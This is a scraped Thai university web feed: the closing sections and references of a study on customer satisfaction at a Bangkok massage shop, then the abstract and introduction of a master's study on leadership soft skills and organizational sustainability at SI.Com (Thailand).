วิรัลรัตน์ หิรัญญาภรณ์ (2563) พบว่า ปัจจัยสิ่งแวดล้อมทางกายภาพส่งผลต่อการตัดสินใจใช้บริการนวดแผนไทย รัตวัน เชาวน์ดี (2564) ระบุว่า สิ่งแวดล้อมและกระบวนการบริการมีผลต่อความพึงพอใจอย่างมีนัยสำคัญ ณัฐกานต์ มีพัฒน์ (2565) พบว่า การนำเสนอทางกายภาพมีผลต่อการเลือกใช้บริการอย่างมีนัยสำคัญ และนิดานุช ราหุลทัต (2567) ยืนยันว่า ลักษณะทางกายภาพ เช่น ความสะอาด ความปลอดภัย และบรรยากาศร้าน ส่งผลต่อคุณภาพการบริการ สรุปได้ว่า สภาพแวดล้อมที่เหมาะสม ทั้งในด้านบรรยากาศ ความสะอาด และความสะดวกในการเข้าถึง เป็นองค์ประกอบสำคัญที่ช่วยสร้างความพึงพอใจ ความประทับใจ และความไว้วางใจของลูกค้า ส่งผลต่อการกลับมาใช้บริการซ้ำ และเพิ่มความสามารถในการแข่งขันของร้านลินดา นวดเพื่อสุขภาพในระยะยาว

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านกระบวนการบริการ ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร อย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 ผลการศึกษา พบว่า ลูกค้ารู้สึกพึงพอใจต่อกระบวนการให้บริการที่เป็นระบบ ชัดเจน และโปร่งใส โดยเฉพาะการแจ้งราคาก่อนใช้บริการ การให้บริการที่ตรงต่อเวลา และการปฏิบัติตามขั้นตอนที่กำหนด เช่น การมีเครื่องดื่มต้อนรับ การล้างเท้า ห้องเปลี่ยนเสื้อผ้าที่เป็นส่วนตัว ตลอดจนการแนะนำบริการที่เหมาะสมกับปัญหาสุขภาพเฉพาะ เช่น อาการออฟฟิศซินโดรม ล้วนส่งผลให้ลูกค้ารู้สึกว่าได้รับการดูแลอย่างใส่ใจและมีคุณภาพ นอกจากนี้ การให้บริการตรงเวลาและมีการแถมเวลาเพิ่ม 5 – 10 นาที ยังสะท้อนถึงความตั้งใจในการมอบประสบการณ์ที่ดีให้กับลูกค้า โดยรวมแล้ว กระบวนการบริการที่เป็นระบบและใส่ใจในรายละเอียดช่วยเพิ่มความเชื่อมั่น และความพึงพอใจ ซึ่งนำไปสู่การกลับมาใช้บริการซ้ำ ผลการศึกษานี้สอดคล้องกับงานวิจัยของ วิรัลรัตน์ หิรัญญาภรณ์ (2563) ที่พบว่า กระบวนการให้บริการมีผลต่อการตัดสินใจใช้บริการนวดแผนไทย รัตวัน เชาวน์ดี (2564) ที่ระบุว่ากระบวนการให้บริการส่งผลต่อความพึงพอใจอย่างมีนัยสำคัญ ณัฐกานต์ มีพัฒน์ (2565) ที่ชี้ว่า กระบวนการบริการมีอิทธิพลต่อการตัดสินใจเลือกใช้บริการอย่างมีนัยสำคัญ และนิดานุช ราหุลทัต (2567) ที่พบว่า กระบวนการบริการมีผลต่อคุณภาพการบริการของผู้ใช้บริการอย่างมีนัยสำคัญ สรุปได้ว่า กระบวนการบริการที่มีมาตรฐาน ใส่ใจในรายละเอียด และตอบโจทย์ลูกค้าอย่างตรงจุด เป็นปัจจัยสำคัญที่ส่งผลต่อความพึงพอใจและความภักดีของลูกค้าต่อร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ในระยะยาว

ข้อเสนอแนะ

ข้อเสนอแนะจากการศึกษา

จากผลการศึกษาผู้ศึกษาขอเสนอแนะว่า ร้านลินดา นวดเพื่อสุขภาพ ควรพัฒนาผลิตภัณฑ์โดยเพิ่มความหลากหลายของบริการ ควบคุมคุณภาพและความสะอาดอย่างต่อเนื่อง และประชาสัมพันธ์มาตรฐานบริการเพื่อสร้างความมั่นใจแก่ลูกค้า ในด้านราคา ควรรักษาความโปร่งใส อัปเดตราคา และพัฒนาช่องทางชำระเงินดิจิทัล เช่น TrueMoney Wallet ด้านสถานที่ ควรรักษาความสะอาด เพิ่มสิ่งอำนวยความสะดวกเฉพาะกลุ่ม เช่น ที่จอดรถผู้สูงอายุ และสื่อสารทำเลให้โดดเด่น ด้านการส่งเสริมบริการ ควรขยายช่องทางออนไลน์ เช่น Instagram และ TikTok พัฒนาระบบสมาชิกและโปรโมชั่นเฉพาะกลุ่ม ด้านผู้ให้บริการ ควรอบรมพนักงานต่อเนื่อง ส่งเสริมแรงจูงใจ และพัฒนาบุคลิกภาพเพื่อสร้างภาพลักษณ์ที่ดี ด้านสภาพแวดล้อม ควรตกแต่งให้ทันสมัย ใช้เสียงและกลิ่นเพื่อความผ่อนคลาย และสุดท้าย ด้านกระบวนการบริการ ควรเสริมทักษะพนักงานในการอธิบายขั้นตอน และพัฒนาระบบจองออนไลน์ให้สะดวก เพื่อเสริมประสบการณ์บริการที่ครบถ้วนและสอดคล้องกับความคาดหวังของลูกค้า ทั้งนี้ ทุกข้อเสนอแนะสอดคล้องกับประเด็นสำคัญของการศึกษาที่พบว่า ปัจจัยส่วนประสมทางการตลาดบริการส่งผลต่อความพึงพอใจอย่างมีนัยสำคัญ โดยเฉพาะด้านผู้ให้บริการ การส่งเสริมบริการ กระบวนการ และผลิตภัณฑ์

ข้อเสนอแนะในการทำวิจัยครั้งต่อไป

1. การศึกษาความพึงพอใจในระดับบริการเฉพาะ ควรมีการศึกษาเชิงลึกเกี่ยวกับความพึงพอใจของลูกค้าในแต่ละบริการเฉพาะ เช่น การนวดแผนไทย นวดน้ำมัน หรือการนวดเพื่อบำบัดสุขภาพ เพื่อวิเคราะห์ว่า ลูกค้าคาดหวังอะไรจากบริการแต่ละประเภท และสามารถปรับปรุงให้ตรงกับความต้องการเฉพาะกลุ่มได้มากขึ้น

2. การสำรวจปัจจัยที่มีผลต่อการกลับมาใช้บริการซ้ำ ควรทำการศึกษาปัจจัยที่ทำให้ลูกค้ากลับมาใช้บริการซ้ำ เช่น การให้บริการที่มีคุณภาพ การดูแลเอาใจใส่จากพนักงาน หรือโปรโมชั่นพิเศษ เพื่อสามารถพัฒนาแผนกลยุทธ์ที่ช่วยดึงดูดลูกค้าประจำได้มากขึ้น

3. การศึกษาผลกระทบของการฝึกอบรมพนักงานต่อการพัฒนาคุณภาพการบริการ ควรทำการวิจัยในเชิงลึกเกี่ยวกับผลกระทบของการฝึกอบรมพนักงานในด้านการนวดและการบริการต่อความพึงพอใจของลูกค้า เพื่อให้ร้านสามารถพัฒนาผลิตภัณฑ์บริการและมาตรฐานการให้บริการได้อย่างมีประสิทธิภาพ

อ้างอิงจาก

ชนิกานต์ ตรีวัย และคณะ. (2563). ตัวแบบสมการโครงสร้างของปัจจัยที่มีอิทธิพลต่อพฤติกรรมการใช้บริการสปาของผู้บริโภคในเขตกรุงเทพมหานคร. วารสารดุษฎีบัณฑิตทางสังคมศาสตร์, 10(1), 255-267.

ฐิติพงษ์ โพธิพิพิธ และอรชร มณีสงฆ์ (2559) ความพึงพอใจของลูกค้าที่มีต่อส่วนประสมทางการตลาดของร้านนวดแสนสบาย.วารสารบริหารธุรกิจ มหาวิทยาลัยเชียงใหม่. 2(1).

ณัฐกานต์ มีพัฒน์. (2565). ปัจจัยทางการตลาดที่มีผลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทยของประชาชนในอำเภอเมืองสุรินทร์ จังหวัดสุรินทร์. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. สุรินทร์: มหาวิทยาลัยรามคำแหง สาขาวิทยาเขตสุรินทร์.

นิดานุช ราหุลทัต. (2567). ปัจจัยที่มีผลต่อความพึงพอใจในคุณภาพการบริการของผู้ใช้บริการร้านนวดแผนไทย ในเขตพญาไท และเขตราชเทวี กรุงเทพมหานคร. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. กรุงเทพฯ: มหาวิทยาลัยกรุงเทพ.

นภาพร จึงตระกูล. (2557). การศึกษาพฤติกรรมและปัจจัยที่มีอิทธิพลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทยในเขตเทศบาลนครขอนแก่น จังหวัดขอนแก่น. วารสารวิทยาลัยบัณฑิตศึกษาการจัดการ มข, 7(57), 110-124.

น้ำฝน สะละโกสา. (2560, 22 ธันวาคม). ปัจจัยที่มีผลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทยของผู้ใช้บริการในอำเภอแม่สอด จังหวัดตาก. รายงานสืบเนื่องจากการประชุมวิชาการระดับชาติ ครั้งที่ 4. กำแพงเพชร: สถาบันวิจัย มหาวิทยาลัยราชภัฏกำแพงเพชร.

ปภัสสร นิลวงค์. (2565). ปัจจัยส่วนประสมทางการตลาดกับพฤติกรรมการใช้บริการนวดแผนไทยในจังหวัดกรุงเทพมหานคร. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. สุรินทร์: มหาวิทยาลัยรามคำแหง สาขาวิทยาเขตสุรินทร์.

มนัสนันท์ เม่งก่วง และธิดาสวรรค์ อินสูนย์. (2565). การจัดโปรโมชั่นเพื่อเพิ่มยอดขายและความพึงพอใจของลูกค้าโรงแรมฮิลตัน หัวหิน รีสอร์ทแอนด์สปา. วารสารวิชาการวิทยาลัยสันตพล, 8(1), 58-68.

รัตวัน เชาวน์ดี. (2564). ปัจจัยที่มีผลต่อความพึงพอใจของผู้ใช้บริการร้านนวดแผนไทย ตำบลป่าตาล อำเภอเมือง จังหวัดลพบุรี. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. กรุงเทพฯ: มหาวิทยาลัยรามคำแหง.

ละอองทราย โกมลมาลย์. (2556). ปัจจัยที่มีอิทธิพลเชิงบวกต่อความพึงพอใจของลูกค้าผู้ใช้บริการ สปาในเขตคลองสาน จังหวัดกรุงเทพมหานคร. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. กรุงเทพฯ: มหาวิทยาลัยกรุงเทพ.

ลินจง โพชารี. (2560). ความพึงพอใจต่อการใช้บริการนวดแผนไทยในเขตเทศบาลเมืองมหาสารคาม จังหวัดมหาสารคาม. วารสารมนุษยศาสตร์และสังคมศาสตร์ มหาวิทยาลัยราชภัฏอุบลราชธานี, 8(1).

วิรัลรัตน์ หิรัญญาภรณ์. (2563). ปัจจัยที่มีผลต่อการตัดสินใจใช้บริการนวดแผนไทยของผู้บริโภคในจังหวัดสิงห์บุรี. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. กรุงเทพฯ: มหาวิทยาลัยรามคำแหง.

ศูนย์วิจัยและพัฒนาการสื่อสารการเมืองและสังคม. (2567). รายงานผลการสำรวจ ความพึงพอใจของประชาชนผู้รับบริการที่มีต่อการให้บริการขององค์การบริหารส่วนตำบลชำผักแพว อำเภอแก่งคอย จังหวัดสระบุรี. ประจำปีงบประมาณ 2567. นนทบุรี: มหาวิทยาลัยสุโขทัยธรรมาธิราช.

ศมน พรหมหิตาทร. (2560) ปัจจัยที่ส่งผลต่อความพึงพอใจในการใช้บริการสปาเพื่อสุขภาพ ประเภท Day spa ของผู้ใช้บริการในเขตกรุงเทพมหานครและปริมณฑล. [การค้นคว้าอิสระปริญญามหาบัณฑิต]. กรุงเทพฯ: มหาวิทยาลัยธรรมศาสตร์.

ศิริ พันธ์ทา. (2562). การสร้างความพึงพอใจต่อการให้บริการในยุคของการเปลี่ยนแปลงทางสังคมปัจจุบัน. Journal of Modern Learning Development, 4(2), 32-47.

สุกัญญา แก้วเมืองมูล. (2562, 19 มกราคม). ปัจจัยทางการตลาดที่มีผลต่อการเลือกใช้บริการร้านนวดไทย ร้าน Go Inter ของนักท่องเที่ยวชาวไทย. การประชุมวิชาการนำเสนอผลงานวิจัยระดับชาติของนักศึกษาด้านมนุษย์ศาสตร์และสังคมศาสตร์ ครั้งที่ 2. กรุงเทพฯ:  คณะมนุษยศาสตร์และสังคมศาสตร์, มหาวิทยาลัยราชภัฏสวนสุนันทา.

อิทธิพัทธ์ จันทร์สาคร. (2565). การศึกษาความพึงพอใจของผู้ใช้บริการที่มีต่อระบบสาธารณูปโภคภายในอาคารสำนักงานอธิการบดี มหาวิทยาลัยเทคโนโลยีราชมงคลธัญบุรี. ปทุมธานี: มหาวิทยาลัยเทคโนโลยีราชมงคลธัญบุรี.

อุมาพร ศรีอุ่นลี และวัชระ ยี่สุ่นเทศ. (2562). ปัจจัยส่วนประสมทางการตลาดที่มีผลต่อพฤติกรรมการใช้บริการสปาในโรงแรมคอลัมแบงค๊อกกรุงเทพมหานคร. วารสารวิชาการวิทยาลัยสันตพล, 5(2),70.

Best, J. W. (1977). Research in Education. (3rd ed). New Jersey : Prentice Hall.

Taro Yamane. (1970). Statistic: An Introductory Analysis. (2nd ed.). New York: Harper & Row.

ไทยโพสต์. (2567). เผยรัฐบาลผลักดัน นวดไทย-อาหารไทย-สมุนไพรไทยเป็น Soft Power. https://www.thaipost.net/news-update/573160/

ไพโรจน์ สมศรี. (2564). การเปรียบเทียบความพึงพอใจในการใช้บริการสปาในเขตอำเภอบางละมุงจังหวัดชลบุรีของนักท่องเที่ยวชาวไทยกับผู้อาศัยในท้องถิ่น. http://www.northbkk.ac.th/gs/thesis/researchpaper/481300615.pdf

Bangkokbiznews. (2567, 10 มิถุนายน). สธ.นำร่อง 4 จังหวัด อัปเลเวล “หมอนวด” สร้างมูลค่ากว่า 3 พันล้านบาท. https://www.bangkokbiznews.com/health/well-being/1130700

SCB EIC Health & Wellness survey. (2566). เจาะลึกเทรนด์สุขภาพเวลเนสชาวไทย โอกาสในธุรกิจมาแรง. https://www.scbeic.com/th/detail/file/product/9358/grv0pcp0jg/In-focus-Health-and-wellness-survey-2023.pdf

]]> ความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัดThe Relationship Between Leadership Soft Skills and Driving Modern Organizations Toward Sustainability of SI.Com (Thailand) Co., Ltd. https://modernkrirkuniversity.com/2025/10/01/%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1%e0%b8%aa%e0%b8%b1%e0%b8%a1%e0%b8%9e%e0%b8%b1%e0%b8%99%e0%b8%98%e0%b9%8c%e0%b8%a3%e0%b8%b0%e0%b8%ab%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b8%87-soft-skills-%e0%b8%94/ Wed, 01 Oct 2025 05:06:50 +0000 https://modernkrirkuniversity.com/?p=30015 ความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด
The Relationship Between Leadership Soft Skills and Driving Modern Organizations Toward Sustainability of SI.Com (Thailand) Co., Ltd.

จณิสตา เถาสุวรรณ์

Janista Toasuwan

อาจารย์ที่ปรึกษา ดร.อาภรณ์ คุระเอียด

คณะศิลปศาสตร์ มหาวิทยาลัยเกริก

Graduate students of Master of Arts Faculty of Liberal Arts, Krirk University

บทคัดย่อ

            การวิจัยครั้งนี้มีวัตถุประสงค์เพื่อศึกษา (1) ระดับของ Soft Skills ด้านภาวะผู้นำและการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด (2) เปรียบเทียบการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน จำแนกตามลักษณะส่วนบุคคล และ (3) วิเคราะห์ความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน กลุ่มตัวอย่างคือพนักงานบริษัทจำนวน 122 คน เครื่องมือที่ใช้ในการวิจัยคือแบบสอบถามซึ่งผ่านการตรวจสอบความตรงเชิงเนื้อหาโดยผู้ทรงคุณวุฒิจำนวน 3 ท่าน ได้ค่าดัชนีความสอดคล้องของเนื้อหา (IOC) อยู่ระหว่าง 0.80 ถึง 1.00 และมีค่าความเชื่อมั่นของแบบสอบถามทั้งฉบับเท่ากับ 0.962 วิเคราะห์ข้อมูลโดยใช้สถิติเชิงพรรณนา ได้แก่ ค่าเฉลี่ย ส่วนเบี่ยงเบนมาตรฐาน และสถิติเชิงอนุมาน ได้แก่ t-test, ANOVA และสัมประสิทธิ์สหสัมพันธ์ของเพียร์สัน

                ผลการวิจัยพบว่า ระดับของ Soft Skills และการขับเคลื่อนองค์กรโดยรวมอยู่ในระดับมาก การเปรียบเทียบจำแนกตามเพศ อายุ ระดับการศึกษา และอายุงานไม่พบความแตกต่างอย่างมีนัยสำคัญทางสถิติ ส่วนการวิเคราะห์ความสัมพันธ์พบว่า Soft Skills ด้านภาวะผู้นำ ได้แก่ ความสามารถในการสื่อสาร การตัดสินใจเชิงกลยุทธ์ การสร้างแรงจูงใจ และการพัฒนาทีมงาน มีความสัมพันธ์เชิงบวกในระดับปานกลางถึงสูงกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนในทุกมิติ

คำสำคัญ: Soft Skills, ภาวะผู้นำ, การขับเคลื่อนองค์กร, ความยั่งยืน, องค์กรสมัยใหม่

Abstract

            This research aimed to study (1) the level of soft skills in leadership and driving modern organizations toward sustainability at SI.Com (Thailand) Co., Ltd., (2) the comparison of driving modern organizations toward sustainability classified by personal characteristics, and (3) the relationship between soft skills in leadership and driving modern organizations toward sustainability. The sample group consisted of 122 employees. The research instrument was a questionnaire which was validated for content validity by three experts, resulting in a content validity index (IOC) ranging from 0.80 to 1.00. The reliability of the entire questionnaire was 0.962. The data were analyzed using descriptive statistics including mean and standard deviation, and inferential statistics including t-test, ANOVA, and Pearson’s correlation coefficient.
              The research findings revealed that the overall levels of soft skills and organizational driving were high. The comparison classified by gender, age, educational level, and years of service showed no statistically significant differences. The correlation analysis found that soft skills in leadership, including communication skills, strategic decision making, motivation, and team development, had moderate to high positive correlations with all dimensions of driving modern organizations toward sustainability, namely vision and change, innovation and technology, ethics and transparency, and long-term sustainability.Keywords: Soft Skills, Leadership, Organizational Driving, Sustainability, Modern OrganizationFor pre-job training, the human resources management at AIA Co., Ltd. should make sure that employees are introduced to company rules, regulations, benefits, and work procedures. Additionally,

บทนำ

ในยุคที่โลกเผชิญกับความเปลี่ยนแปลงอย่างรวดเร็วและซับซ้อนจากปัจจัยรอบด้าน ไม่ว่าจะเป็นเทคโนโลยีดิจิทัล ความผันผวนทางเศรษฐกิจ ความก้าวหน้าทางวิทยาศาสตร์ หรือการเปลี่ยนแปลงเชิงสังคม องค์กรทั้งหลายจึงจำเป็นต้องมีศักยภาพในการปรับตัวอย่างสูง การขับเคลื่อนองค์กรในบริบทปัจจุบันมิอาจจำกัดอยู่เพียงการดำเนินงานตามแผนกลยุทธ์ในเชิงโครงสร้างแบบเดิม หากแต่ต้องอาศัยกระบวนการที่ยึดโยงกับการเรียนรู้อย่างต่อเนื่อง การคิดเชิงนวัตกรรม การมีส่วนร่วมของบุคลากร และความยืดหยุ่นทั้งในเชิงโครงสร้างและวัฒนธรรมองค์กรการขับเคลื่อนองค์กร (Organizational Driving Force) หมายถึง กระบวนการในการนำพาองค์กรให้บรรลุเป้าหมายและวิสัยทัศน์ ผ่านการกำหนดทิศทางเชิงกลยุทธ์ การปรับตัวต่อการเปลี่ยนแปลง การพัฒนาโครงสร้างและทรัพยากรมนุษย์อย่างเหมาะสม ตลอดจนการเสริมสร้างนวัตกรรมอย่างสม่ำเสมอ เพื่อให้องค์กรสามารถตอบสนองต่อความท้าทายได้อย่างมีประสิทธิภาพ (Kotter, 1996)

 องค์ประกอบสำคัญในการขับเคลื่อนองค์กรยุคใหม่ คือ “ภาวะผู้นำที่สอดคล้องกับยุคสมัย” โดยเฉพาะภาวะผู้นำเชิงเปลี่ยนแปลง (Transformational Leadership) ซึ่งเป็นผู้นำที่สามารถสร้างแรงบันดาลใจ กระตุ้นให้เกิดวิสัยทัศน์ และสนับสนุนการเปลี่ยนแปลงภายในองค์กร (Bass & Riggio, 2006) ผู้นำยุคใหม่จึงต้องมีทั้งทักษะทางเทคนิค (Hard Skills) และทักษะด้านอารมณ์และมนุษยสัมพันธ์ (Soft Skills) อาทิ การสื่อสารอย่างมีประสิทธิภาพ การสร้างความไว้วางใจ และความสามารถในการบริหารทีมที่หลากหลายทั้งในด้านเจเนอเรชันและวัฒนธรรมการขับเคลื่อนองค์กรในปัจจุบันยังจำเป็นต้องพึ่งพาการเปลี่ยนผ่านสู่ดิจิทัล (Digital Transformation) ซึ่งหมายถึงการนำเทคโนโลยีสมัยใหม่ เช่น ปัญญาประดิษฐ์ (AI) บิ๊กดาต้า (Big Data) การวิเคราะห์เชิงคาดการณ์ (Predictive Analytics) และระบบคลาวด์ เข้ามาใช้ในการดำเนินธุรกิจ เพื่อเพิ่มประสิทธิภาพและความสามารถในการแข่งขัน (Westerman et al., 2014)

ในอีกด้านหนึ่ง องค์กรสมัยใหม่จำเป็นต้องพัฒนาวัฒนธรรมองค์กรให้กลายเป็นองค์กรแห่งการเรียนรู้ (Learning Organization) ตามแนวคิดของ Senge (1990) ซึ่งเน้นว่าองค์กรควรเป็นพื้นที่ที่บุคลากรสามารถพัฒนาศักยภาพของตนเองอย่างต่อเนื่องเพื่อบรรลุเป้าหมายร่วมกัน ทั้งนี้ ต้องสริมสร้างระบบการบริหารจัดการการเปลี่ยนแปลง (Change Management) อย่างมีประสิทธิภาพโดยเฉพาะในด้านการสื่อสาร การลดแรงต้าน และการส่งเสริมการมีส่วนร่วมของพนักงาน (Hiatt, 2006)อีกหนึ่งกลไกสำคัญคือ การพัฒนาทรัพยากรมนุษย์ โดยเฉพาะในด้าน Soft Skills การ Reskilling และ Upskilling ที่เป็นปัจจัยช่วยให้องค์กรตอบสนองต่อการเปลี่ยนแปลงได้อย่างทันท่วงที พร้อมทั้งการบูรณาการแนวคิดการพัฒนาอย่างยั่งยืน (Sustainable Development) ซึ่งองค์กรยุคใหม่จำเป็นต้องตระหนักถึงผลกระทบทางสิ่งแวดล้อม สังคม และเศรษฐกิจในระยะยาว เพื่อสร้างความเชื่อมั่นจากผู้มีส่วนได้ส่วนเสียและเพิ่มคุณค่าให้กับแบรนด์องค์กร

               ในบริบทของประเทศไทย การบริหารจัดการองค์กรในยุคปัจจุบันเผชิญกับความท้าทายหลากหลาย ตั้งแต่ความเปลี่ยนแปลงทางเทคโนโลยี การแข่งขันทางเศรษฐกิจ ความหลากหลายของแรงงาน พฤติกรรมผู้บริโภคที่เปลี่ยนไป ไปจนถึงความไม่แน่นอนทางการเมืองและสังคม ท่ามกลางบริบทเช่นนี้ ภาวะผู้นำที่มี Soft Skills จึงกลายเป็นปัจจัยสำคัญที่ช่วยให้องค์กรสามารถขับเคลื่อนตนเองได้อย่างมั่นคง โดยเฉพาะในสังคมไทยซึ่งให้ความสำคัญกับวัฒนธรรมความสัมพันธ์ส่วนบุคคล การสื่อสารทางอ้อม และบริบทของระบบอุปถัมภ์ ทำให้ Soft Skills มีบทบาทอย่างยิ่งในความสำเร็จของผู้นำองค์กร  ภาวะผู้นำที่มี Soft Skills หมายถึง ความสามารถของผู้นำในการใช้ทักษะด้านอารมณ์และมนุษยสัมพันธ์ เช่น การสื่อสารที่มีประสิทธิภาพ การสร้างแรงจูงใจ การสร้างความสัมพันธ์ระหว่างบุคคล และการบริหารความขัดแย้งอย่างสร้างสรรค์ ซึ่งแตกต่างจาก Hard Skills ที่มุ่งเน้นความรู้เฉพาะทาง เช่น การเงิน วิศวกรรม หรือเทคนิคเฉพาะด้าน (Robles, 2012) ในประเทศไทย Soft Skills ที่มีความสำคัญ ได้แก่ ความฉลาดทางอารมณ์ (Emotional Intelligence) การสื่อสารเชิงบวก (Positive Communication) การเห็นอกเห็นใจ (Empathy) การบริหารความสัมพันธ์ระหว่างบุคคล (Interpersonal Relations) การตัดสินใจโดยยึดหลักจริยธรรม (Ethical Decision Making) และการจัดการความขัดแย้ง (Conflict Management)

ในสังคมที่มีโครงสร้างลำดับชั้นอย่างประเทศไทย การใช้ Soft Skills อย่างการฟังอย่างลึกซึ้ง (Active Listening) และการสื่อสารที่ให้เกียรติ สามารถช่วยลดความขัดแย้งระหว่างหน่วยงานและเสริมสร้างความสามัคคีในองค์กร นอกจากนี้ ผู้นำยังต้องเข้าใจความหลากหลายระหว่างรุ่นของแรงงาน ตั้งแต่ Baby Boomer จนถึง Gen Z และสามารถใช้ Soft Skills เพื่อเชื่อมโยงความต้องการ ความคาดหวัง และค่านิยมที่แตกต่างกันให้เกิดพลังร่วมในการขับเคลื่อนองค์กร หากปราศจาก Soft Skills ผู้นำอาจเผชิญกับแรงต้านจากพนักงานในระหว่างกระบวนการเปลี่ยนแปลง ไม่ว่าจะเป็นการปรับโครงสร้างองค์กร การนำเทคโนโลยีใหม่มาใช้ หรือการเปลี่ยนวิธีทำงาน ผู้นำที่สามารถถ่ายทอดวิสัยทัศน์ใหม่อย่างเห็นอกเห็นใจและเข้าใจความรู้สึกของพนักงานจะสามารถนำพาองค์กรผ่านการเปลี่ยนแปลงได้อย่างมีประสิทธิภาพ อุปสรรคสำคัญในการพัฒนา Soft Skills ในบริบทไทย ได้แก่ ระบบราชการและวัฒนธรรมอำนาจนิยม ซึ่งมักตีความการแสดงความคิดเห็นที่ต่างออกไปว่าเป็นการไม่ให้เกียรติ อีกทั้งระบบการศึกษาที่เน้นการท่องจำยังไม่เอื้อต่อการพัฒนา Soft Skills เช่น การคิดเชิงวิพากษ์หรือการบริหารอารมณ์ นอกจากนี้ การเลื่อนตำแหน่งตามลำดับอาวุโสมากกว่าตามสมรรถนะ ทำให้ผู้นำขาดแรงจูงใจในการพัฒนาทักษะด้านนี้

             แนวทางการพัฒนา Soft Skills ในผู้นำองค์กรไทยควรมุ่งเน้นกระบวนการเรียนรู้เชิงประสบการณ์ (Experiential Learning) เช่น การฝึกปฏิบัติจริง (Role Play), การโค้ชชิ่ง (Coaching), การให้ข้อเสนอแนะจากเพื่อนร่วมงาน (Peer Feedback) รวมถึงการใช้เครื่องมืออย่าง 360-Degree Feedback เพื่อให้ผู้นำได้รับมุมมองจากผู้ใต้บังคับบัญชา เพื่อนร่วมงาน และผู้บังคับบัญชา นอกจากนี้ การสร้างวัฒนธรรมองค์กรที่สนับสนุน Soft Skills เช่น การให้รางวัลกับผู้นำที่แสดงความเป็นมนุษยสัมพันธ์ที่ดี และการที่ผู้นำระดับสูงแสดงตนเป็นแบบอย่าง (Role Model) โดยแสดงพฤติกรรมของ Soft Skills อย่างจริงจัง ล้วนเป็นปัจจัยที่จะส่งเสริมให้การขับเคลื่อนองค์กรในยุคปัจจุบันเกิดผลอย่างยั่งยืน จากความสำคัญของSoft Skills ในผู้นำองค์กรที่ส่งผลต่อการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืน ผู้ศึกษาจึงมีความสนใจที่จะศึกษาเรื่องความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด เพื่อนำผลการศึกษามาใช้ประโยชน์ในการพัฒนาองค์กรต่อไป

วัตถุประสงค์ของการวิจัย

            1 เพื่อศึกษาระดับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท บริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัดและระดับ Soft Skills ด้านภาวะผู้นำ

2 เพื่อเปรียบเทียบระดับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท บริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด จำแนกตามลักษณะส่วนบุคคล

3 เพื่อวิเคราะห์ความสัมพันธ์ระหว่าง Soft Skills ด้านภาวะผู้นำกับการขับเคลื่อนองค์กรสมัยใหม่สู่ความยั่งยืนของบริษัท บริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด

ประโยชน์ที่ได้รับ

            1 สามารถนำผลการวิจัยไปใช้เป็นแนวทางในการวางแผนพัฒนาศักยภาพผู้นำภายในองค์กร โดยเฉพาะการเสริมสร้าง Soft Skills ที่สำคัญ เช่น ความสามารถในการสื่อสาร การสร้างแรงจูงใจ การคิดเชิงกลยุทธ์ และการตัดสินใจอย่างมีจริยธรรม ซึ่งจะส่งผลต่อประสิทธิภาพในการขับเคลื่อนองค์กรสมัยใหม่ไปสู่ความยั่งยืน

2 นำข้อมูลที่ได้จากการศึกษา ไปใช้ในการออกแบบหลักสูตรฝึกอบรมหรือกิจกรรมพัฒนาภาวะผู้นำในเชิง Soft Skills ให้กับพนักงาน โดยเฉพาะกลุ่มหัวหน้างานและผู้บริหาร เพื่อส่งเสริมศักยภาพในการบริหารงานในบริบทขององค์กรสมัยใหม่

            3  นำผลการวิจัยสามารถไปใช้เป็นข้อมูลเชิงนโยบายเพื่อกำหนดทิศทางในการพัฒนาองค์กรของบริษัท เอสไอ ดอท คอม (ประเทศไทย) จำกัด โดยให้ความสำคัญกับความเชื่อมโยงระหว่างภาวะผู้นำและการดำเนินธุรกิจอย่างยั่งยืน

กรอบแนวคิดสำหรับการวิจัย

ภาพประกอบ 1 กรอบแนวคิดในการวิจัย

วิธีดำเนินการวิจัย

